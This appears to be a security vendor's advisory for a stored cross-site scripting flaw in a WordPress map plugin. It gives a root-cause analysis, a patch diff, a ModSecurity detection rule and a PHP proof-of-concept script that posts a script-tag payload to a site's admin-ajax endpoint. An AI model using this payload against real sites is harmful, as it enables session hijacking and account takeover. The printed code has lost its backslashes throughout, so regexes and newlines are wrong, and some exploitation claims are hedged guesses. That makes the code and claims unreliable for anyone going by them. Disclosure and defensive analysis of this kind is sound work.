Published : July 21, 2026

CVE-2026-57670: CodePeople Post Map for Google Maps <= 1.2.5 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.2.5
Patched Version 1.2.6
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57670:

This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the CodePeople Post Map for Google Maps plugin for WordPress, affecting versions up to and including 1.2.5. The vulnerability arises from insufficient input sanitization and output escaping, allowing attackers to inject arbitrary web scripts into pages that execute when a user accesses an injected page. The CVSS score of 7.2 reflects the critical nature of this flaw.

Root Cause: The primary root cause involves multiple code paths where user-supplied data is not properly sanitized or escaped before being stored or rendered. In cp-feedback.php (lines 69-73), the original code iterates over all $_POST parameters and directly assigns their values to an outgoing data array without any sanitization. In functions.php, the `_set_map_config` method (lines 1490-1532) outputs variables like `$display`, `$type`, and `$center` directly into JavaScript strings without escaping, and the `get_marker_options` method (lines 1546-1552) outputs `$point[‘address’]` and `$point[‘info’]` after only basic string replacements but without proper sanitization. Additionally, the `_get_windowhtml` function (lines 1600-1612) builds HTML output using variables like `$point_title`, `$point_link`, and `$point_description` without escaping for the context (HTML attribute vs. body). The `array_map_recursive` calls on `$_POST[‘cpm_point’]` and `$_POST[‘cpm_map’]` do not validate that these are arrays, leading to potential type confusion.

Exploitation: An unauthenticated attacker can exploit this by submitting a crafted POST request to any endpoint that processes the vulnerable feedback form (likely via admin-ajax.php or direct form submission) or by supplying malicious data via post meta fields like `cpm_point` or `cpm_map` when creating or editing a post. For the feedback submission, the attacker sends a request to the plugin’s feedback handler with arbitrary parameters, including a payload like `alert(1)` in a parameter value. Since no sanitization occurs, the payload is forwarded to an external feedback server or stored locally. For the map configuration, if the plugin renders a map with user-supplied shortcode attributes (like `[cpm-map display=”alert(1)”]`), the `_set_map_config` method directly injects the attribute value into the JavaScript output. The attack vector is via the public-facing map display or admin panel, depending on the component.

Patch Analysis: The patch introduces several critical fixes. In cp-feedback.php, the POST iteration is restricted to an allowlist of three parameters (`feedback_message`, `feedback_rating`, `feedback_plugin`), each of which is sanitized using `sanitize_text_field(wp_unslash(…))`. In functions.php, the `_set_map_config` method now wraps `$display`, `$type`, and `$highlight_class` in `esc_js()` to prevent JavaScript injection. The `$center` parameter is validated to ensure it consists of exactly two numeric coordinates before being output. The `_get_windowhtml` function and `get_marker_options` method now use `wp_kses_post()` and `esc_html()`/`esc_url()` for output escaping. Additionally, the `array_map_recursive` calls now check that `$_POST[‘cpm_point’]` and `$_POST[‘cpm_map’]` are arrays before processing, preventing type confusion. Unserialization calls now validate the serialized string format and use `allowed_classes => false`. The `extract()` calls use `EXTR_SKIP` to prevent variable overwriting.

Impact: Successful exploitation allows an unauthenticated attacker to inject arbitrary JavaScript or HTML into pages that other users (including administrators) will view. This can lead to session hijacking, credential theft, redirection to malicious sites, defacement, or theft of sensitive data. Since the vulnerability is stored XSS, the injection persists across page loads and can affect every visitor of the compromised page. In a WordPress context, an admin visiting a page with the injected script could have their session stolen, allowing the attacker to create administrative accounts or install malicious plugins.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/codepeople-post-map/codepeople-post-map.php
+++ b/codepeople-post-map/codepeople-post-map.php
@@ -2,7 +2,7 @@
 /*
 Plugin Name: CodePeople Post Map for Google Maps
 Text Domain: codepeople-post-map
-Version: 1.2.5
+Version: 1.2.6
 Author: CodePeople
 Author URI: http://wordpress.dwbooster.com/content-tools/codepeople-post-map
 Plugin URI: http://wordpress.dwbooster.com/content-tools/codepeople-post-map
--- a/codepeople-post-map/feedback/cp-feedback.php
+++ b/codepeople-post-map/feedback/cp-feedback.php
@@ -69,25 +69,30 @@
 					'phpversion' 	=> phpversion()
 				);

-				foreach($_POST as $parameter => $value)
+				$allowed = array('feedback_message', 'feedback_rating', 'feedback_plugin');
+				foreach($allowed as $parameter)
 				{
-					$data[$parameter] = $value;
+					if(isset($_POST[$parameter]))
+					{
+						$data[$parameter] = sanitize_text_field(wp_unslash($_POST[$parameter]));
+					}
 				}

 				if(!isset($_POST["cp_feedback_anonymous"])) // send this data only if explicitly accepted
 				{
 					$current_user = wp_get_current_user();
-					$data['email'] = $current_user->user_email;
-					$data['website'] = $_SERVER['HTTP_HOST'];
-					$data['url'] = get_site_url();
+					$data['email']    = $current_user->user_email;
+					$data['website']  = wp_parse_url(home_url(), PHP_URL_HOST);
+					$data['url']      = home_url();
 				}

 				// Send data
 				$response = wp_remote_post(
 					$this->feedback_url,
 					array(
-						'body' => $data,
-						'sslverify' => false
+						'body'       => $data,
+						'sslverify'  => false,
+						'timeout'    => 15,
 					)
 				);

--- a/codepeople-post-map/include/functions.php
+++ b/codepeople-post-map/include/functions.php
@@ -129,9 +129,9 @@
 		delete_post_meta($post_id,'cpm_point');
 		delete_post_meta($post_id,'cpm_map');

-		$new_cpm_point = ( isset( $_POST['cpm_point'] ) ) ? $_POST['cpm_point'] : array();
+		$new_cpm_point = ( isset( $_POST['cpm_point'] ) && is_array( $_POST['cpm_point'] ) ) ? $_POST['cpm_point'] : array();
 		$new_cpm_point = $this->array_map_recursive(array($this, 'sanitize_html'), $new_cpm_point);
-		$new_cpm_map = ( isset( $_POST['cpm_map'] ) ) ? $_POST['cpm_map'] : array();
+		$new_cpm_map = ( isset( $_POST['cpm_map'] ) && is_array( $_POST['cpm_map'] ) ) ? $_POST['cpm_map'] : array();
 		$new_cpm_map = $this->array_map_recursive('sanitize_text_field', $new_cpm_map);

 		$new_cpm_point['icon'] = str_replace( CPM_PLUGIN_URL, '', $default_icon );
@@ -879,8 +879,12 @@
 		global $post, $wpdb;

 		$cpm_point = get_post_meta($post->ID, 'cpm_point', TRUE);
-		if(is_string($cpm_point)) $cpm_point = @unserialize($cpm_point);
-		if($cpm_point === false)  $cpm_point = array();
+		if(is_string($cpm_point) && preg_match('/^a:d+:{/', $cpm_point)){
+			$tmp = @unserialize($cpm_point, array('allowed_classes' => false));
+			$cpm_point = ( is_array($tmp) ) ? $tmp : array();
+		}elseif(!is_array($cpm_point)){
+			$cpm_point = array();
+		}

 		$cpm_map = get_post_meta($post->ID, 'cpm_map', TRUE);
 		$general_options = $this->get_configuration_option();
@@ -1141,10 +1145,10 @@

         $point = get_post_meta($post_id, 'cpm_point', TRUE);
 		if(!empty($point)){
-			if(is_string($point))
+			if(is_string($point) && preg_match('/^a:d+:{/', $point))
 			{
-				$tmp_point = @unserialize($point);
-				if($tmp_point !== false)  $point = $tmp_point;
+				$tmp_point = @unserialize($point, array('allowed_classes' => false));
+				$point = ( is_array($tmp_point) ) ? $tmp_point : array( 'address' => $point );
 			}

 			if( !is_array( $point ) )
@@ -1367,8 +1371,7 @@
 			)
 			{
 				// Sanitizing variable
-				$preview = stripcslashes($_REQUEST['cpm-preview']);
-				$preview = strip_tags($preview);
+				$preview = sanitize_text_field(wp_unslash($_REQUEST['cpm-preview']));

 				// Remove every shortcode that is not in the music store list
 				remove_all_shortcodes();
@@ -1426,7 +1429,7 @@
 	 */
 	function _set_map_tag($atts){
 		$atts = array_merge($atts, $this->extended);
-        extract($atts);
+        extract($atts, EXTR_SKIP);

 		if(isset($width))
 		{
@@ -1469,7 +1472,7 @@
 	function _set_map_config($atts){
         $atts = array_merge($atts, $this->extended);

-		extract($atts);
+		extract($atts, EXTR_SKIP);

 		if(!isset($display)) $display = 'map';
 		if(!isset($type)) $type = 'ROADMAP';
@@ -1490,23 +1493,32 @@
 		$output .= "cpm_global['$this->map_id']['zoom'] = ".((!empty($zoom)) ? @intval($zoom) : $this->_default_configuration('zoom')).";n";
 		$output .= "cpm_global['$this->map_id']['dynamic_zoom'] = ".((isset($dynamic_zoom) && $dynamic_zoom) ? 'true' : 'false').";n";
 		$output .= "cpm_global['$this->map_id']['markers'] = new Array();n";
-		$output .= "cpm_global['$this->map_id']['display'] = '$display';n";
+		$output .= "cpm_global['$this->map_id']['display'] = '".esc_js( $display )."';n";
         $output .= "cpm_global['$this->map_id']['drag_map'] = ".( ( !isset( $drag_map ) || $drag_map ) ? 'true' : 'false' ).";n";
-		$output .= "cpm_global['$this->map_id']['highlight_class'] = '".$this->get_configuration_option('highlight_class')."';n";
+		$output .= "cpm_global['$this->map_id']['highlight_class'] = '".esc_js($this->get_configuration_option('highlight_class'))."';n";

 		if(isset($tooltip))
 			$output .= "cpm_global['$this->map_id']['marker_title'] = '".esc_js($tooltip)."';n";

 		$highlight = $this->get_configuration_option('highlight');
 		$output .= "cpm_global['$this->map_id']['highlight'] = ".(($highlight && !is_singular()) ? 'true' : 'false').";n";
-		$output .= "cpm_global['$this->map_id']['type'] = '$type';n";
+		$output .= "cpm_global['$this->map_id']['type'] = '".esc_js( $type )."';n";
         $output .= "cpm_global['$this->map_id']['show_window'] = ".((isset($show_window) && $show_window) ? 'true' : 'false').";n";
 		$output .= "cpm_global['$this->map_id']['show_default'] = ".((isset($show_default) && $show_default) ? 'true' : 'false').";n";

 		// Set maps centre
 		if( !empty( $center ) )
 		{
-			$output .= "cpm_global['$this->map_id']['center'] = [".trim( $center )."];n";
+			$coords = preg_split('/s*,s*/', trim($center), 2, PREG_SPLIT_NO_EMPTY);
+			if(
+				count($coords) === 2 &&
+				is_numeric($coords[0]) &&
+				is_numeric($coords[1])
+			){
+				$output .= "cpm_global['$this->map_id']['center'] = ["
+				         . floatval($coords[0]) . "," . floatval($coords[1])
+				         . "];n";
+			}
 		}

 		// Define controls
@@ -1534,12 +1546,12 @@
 		$icon = (!empty($point['icon'])) ? $point['icon'] : $this->get_configuration_option('default_icon');
 		if( preg_match( '/http(s)?:///i', $icon ) == 0 ) $icon = CPM_PLUGIN_URL.$icon;
         $obj = new stdClass;
-        $obj->address = str_replace(array('"', '<', '>', ''', '&'), array('"', '<', '>', "'", '&'), ( ( empty( $point['address'] ) ) ? '' : $point['address'] ) );
+        $obj->address = wp_kses_post(str_replace(array('"', '<', '>', ''', '&'), array('"', '<', '>', "'", '&'), ( ( empty( $point['address'] ) ) ? '' : $point['address'] ) ));

 		if(!empty($point['latitude']) )	$obj->lat = $point['latitude'];
 		if(!empty($point['longitude']) )$obj->lng = $point['longitude'];

-        $obj->info = str_replace(array('"', '<', '>', ''', '&'), array('"', '<', '>', "'", '&'), $this->_get_windowhtml($point));
+        $obj->info = wp_kses_post(str_replace(array('"', '<', '>', ''', '&'), array('"', '<', '>', "'", '&'), $this->_get_windowhtml($point)));

         $obj->icon = $icon;
         $obj->post = $point['post_id'];
@@ -1592,7 +1604,7 @@
 		$point_address = apply_filters('cpm-point-address', isset( $point['address'] ) ? $point['address'] : '', $point['post_id']);

 		if( !empty( $point_img_url ) ) {
-			$point_img = "<img src='".$point_img_url."' class='cpm-thumbnail' style='margin:8px 0 0 8px !important; width:90px; height:90px' align='right' />";
+			$point_img = "<img src='".esc_url($point_img_url)."' class='cpm-thumbnail' style='margin:8px 0 0 8px !important; width:90px; height:90px' align='right' />";
 			$html_width = "310px";
 		} else {
 			$point_img = "";
@@ -1600,7 +1612,7 @@
 		}

 		$find = array("%title%","%link%","%thumbnail%", "%excerpt%","%description%","%address%","%width%","rn","f","v","t","r","n","\",""");
-		$replace  = array($point_title,$point_link,$point_img,"",do_shortcode($point_description),$point_address,$html_width,"","","","","","","","'");
+		$replace  = array(esc_html($point_title),esc_url($point_link),$point_img,"",wp_kses_post(do_shortcode($point_description)),esc_html($point_address),$html_width,"","","","","","","","'");

 		$windowhtml = str_replace( $find, $replace, $windowhtml_frame);

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-57670
# Blocks unauthenticated stored XSS via the feedback submission endpoint
# Targets the cp-feedback.php handler with script payloads
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57670 - CodePeople Post Map XSS via feedback',severity:'CRITICAL',tag:'CVE-2026-57670'"
  SecRule ARGS_POST:action "@streq cp_feedback_send" "chain"
    SecRule ARGS_POST:feedback_message "@rx <script[^>]*>" 
      "t:none,t:htmlEntityDecode,t:removeWhitespace"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57670 - CodePeople Post Map for Google Maps <= 1.2.5 - Unauthenticated Stored Cross-Site Scripting

/**
 * This PoC targets the feedback submission endpoint in cp-feedback.php.
 * Unauthenticated users can submit feedback with arbitrary script payloads.
 * The payload is stored and executed when an admin views the feedback results.
 */

// Configuration
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change to target WordPress URL

// Payload: Simple XSS to trigger on feedback display
$payload = '<script>alert("CVE-2026-57670 - XSS by Atomic Edge");</script>';

// Initialize cURL
$ch = curl_init();

// Set POST fields (mimicking the feedback form)
$post_fields = array(
    'action'                  => 'cp_feedback_send',  // AJAX action (may vary)
    'feedback_message'        => $payload,
    'feedback_rating'         => '5',
    'feedback_plugin'         => 'codepeople-post-map',
    'cp_feedback_anonymous'   => '1'
);

curl_setopt_array($ch, array(
    CURLOPT_URL            => $target_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query($post_fields),
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT        => 30
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    echo "[+] Payload submitted successfully. The XSS script will execute when the admin views the feedback.n";
    echo "[+] Payload: $payloadn";
} else {
    echo "[-] Submission failed. HTTP Code: $http_coden";
    if (curl_error($ch)) {
        echo "[-] cURL Error: " . curl_error($ch) . "n";
    }
}

curl_close($ch);

// Note: The actual AJAX action name may differ. Check the plugin code for the exact action.
// Alternative attack vectors: direct POST to feedback form or via shortcode attributes.

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School